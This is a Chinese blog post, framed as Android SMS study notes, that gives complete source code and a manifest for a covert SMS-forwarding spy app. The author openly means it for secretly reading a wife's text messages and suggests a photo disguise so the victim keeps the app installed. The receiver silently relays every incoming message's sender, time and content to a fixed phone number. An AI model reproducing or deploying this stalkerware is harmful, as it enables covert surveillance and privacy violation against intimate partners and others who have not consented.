`
king_tt
  • 浏览: 2232739 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

个人学习笔记之:android短信

阅读更多

短信顾名思义就是偷偷看人家的手机短信,当然人家要装上你的App就行了,如果你发现你老婆最近鬼鬼祟祟的,你就给她装一个这个,保证她收到的短信你都能看到,哈哈,废话不多说了,直接上代码

首先我们要上一个图片伪装下,你可以多放几张你老婆的漂亮照片,不然哪天就把程序卸载了,那就悲剧了,嘎嘎,我这里简单起见拿来了一张美女的照片,我本身比较喜欢美女,哈哈

 

package com.example.smslistener;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SMSListenerBroadcastReceive extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Object[] pdus = (Object[]) intent.getExtras().get("pdus");
		SmsMessage [] messages = new SmsMessage[pdus.length];
		for(int i=0; i<pdus.length; i++){
			byte[]pdu = (byte[]) pdus[i];
			
			//从pud中创建一个消息
			messages[i] = SmsMessage.createFromPdu(pdu);
		}
		
		
		for(SmsMessage msg: messages){
			//获取短信的内容
			String content = msg.getMessageBody();
			//获取发送的人
			String sender = msg.getOriginatingAddress();
			//获取短信的时间
			long timer = msg.getTimestampMillis();
			
			//将毫秒数字转换成日期格式
			Date date = new Date(timer);
			SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-DD HH-MM-SS");
			String time = sdf.format(date);
			
			String smsContent = time + ": " + sender + ": " + content;
			
			
			//调用发送短信的方法
			sendSmsMessage("5556", smsContent);
		}

	}
	
	/**
	 * 发送短信的方法
	 * @param phoneNumber
	 * @param content
	 */
	public void sendSmsMessage(String phoneNumber, String content){
		SmsManager smsManager = SmsManager.getDefault();
		
		//判断短信内容的长度,如果长度大于70就会出错,所以这步很重要
		if(content.length() >= 70){
			List<String> list = smsManager.divideMessage(content);
			for(String mMsg: list){
				smsManager.sendTextMessage(phoneNumber, null, mMsg, null, null);
			}
		}else{
			smsManager.sendTextMessage(phoneNumber, null, content, null, null);
		}
	}

}

上面的代码很简单,手机收到短信之后,android系统会发送一个短消息广播,他的action是android.provider.Telephony.SMS_RECEIVED,我们的广播接收器过滤这个action就行了,那样子我们就可以获取短信的内容,短信的发送者,短信的发送时间等等,然后在调用android的发送短信就搞定了,发送短信有一个权限<uses-permission android:name="android.permission.SEND_SMS"/>

 

 

AndroidMainfest.xml

 

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.smslistener"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="16" />

    <application
        android:icon="@drawable/xiaohua"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.example.smslistener.MainActivity"
            android:theme="@style/ActivityTheme" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        
        <receiver android:name=".SMSListenerBroadcastReceive">
            <intent-filter >
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
    </application>
    
     <uses-permission android:name="android.permission.RECEIVE_SMS"/>
     <uses-permission android:name="android.permission.SEND_SMS"/>

</manifest>

 

只要你媳妇装上了这个app,在他不把你的程序卸载你就能监听她的短信内容,哈哈!

注意,情侣,夫妻之间相处最关键的就是信任,监听有风险,偷看需谨慎,请三思

代码下载

分享到:
评论

相关推荐

    Android 网络程序的功能.pdf

    - 知识管理:云笔记应用(如印象笔记、有道笔记、麦库)帮助用户收集、整理信息,并在不同设备间同步,方便随时查阅和学习。 - 时间管理:任务管理应用(如Doit.im、Remember The Milk、toodledo)使用户能够更...

    Android笔记

    【Android笔记】是一系列关于Android开发的个人学习记录,作者提到笔记内容可能并不全面,因为并非从一开始就系统性地整理。这些笔记涵盖了Android开发的多个关键领域,旨在帮助读者理解和掌握Android应用开发的核心...

    QuickTask:Android应用

    开发者可以通过阅读源码学习如何实现类似功能,理解Android应用开发的基本流程,包括布局设计、活动管理、权限请求以及服务和广播接收器的使用等。对于想要提升Android编程技能的开发者来说,这是一个很好的学习资源...

    Android做的记事软件

    速记通是一款专为Android用户设计的记事软件,它集成了记事、查询和发送短信等多种功能,旨在为Android学习者提供一个便捷的学习工具。作为一款面向初学者和使用者的软件,速记通不仅能够帮助用户快速记录生活琐事,...

    android部分框架

    "android笔记"是个人或团队的学习记录,包含实用技巧和经验总结;"android源码"提供了深入理解Android工作原理的机会;"RGB颜色对照表_百度文库_files"是颜色表的附件,可能包含更多细节;"android_email"可能涉及...

    Swssize note.rar

    【标题】"Swssize note.rar" 提供的是一款基于安卓...这个课设项目对于学习Android开发的学生来说,是一个很好的实践机会,涵盖了Android应用开发的主要方面,有助于提升他们的编程技能和理解移动应用的生命周期管理。

    行业资料-电子功用-便携移动终端、笔记本电脑的介绍分析.rar

    这些设备通常搭载强大的操作系统,如Android或iOS,提供丰富的应用生态系统,满足用户通信、娱乐、工作等多种需求。 1. 技术解析:移动终端的核心在于处理器,如高通骁龙、苹果A系列等,它们集成了高性能CPU和GPU,...

    电信设备-一种兼具智能手机功能和个人计算机功能的移动智能终端.zip

    它不仅能够进行电话通话、发送短信、连接移动网络(4G/5G),还能够运行复杂的软件应用,进行文档编辑、图像处理甚至轻度的图形设计等个人计算机的工作。这种设备的出现,使得用户不再需要在便携性和功能之间做出...

    基于个人知识管理视角下的国内移动图书馆APP的特点.pdf

    目前,移动图书馆APP已经成为图书馆服务的重要组成部分,通过结合短信、微信等多渠道通知服务,不仅方便用户随时随地获取信息,还促进了阅读推广和学习型社会的建设。未来,随着技术的进步和用户需求的变化,移动...

    移动电子商务教案.pdf

    4. 移动通信操作系统:如Symbian、Android、iOS等,为移动设备提供了运行环境和支持各种应用的基础。 移动通信终端设备和技术特征: 1. 包括手机、掌上电脑、笔记本电脑、GPS定位设备等。 2. 技术特征涉及处理能力...

Global site tag (gtag.js) - Google Analytics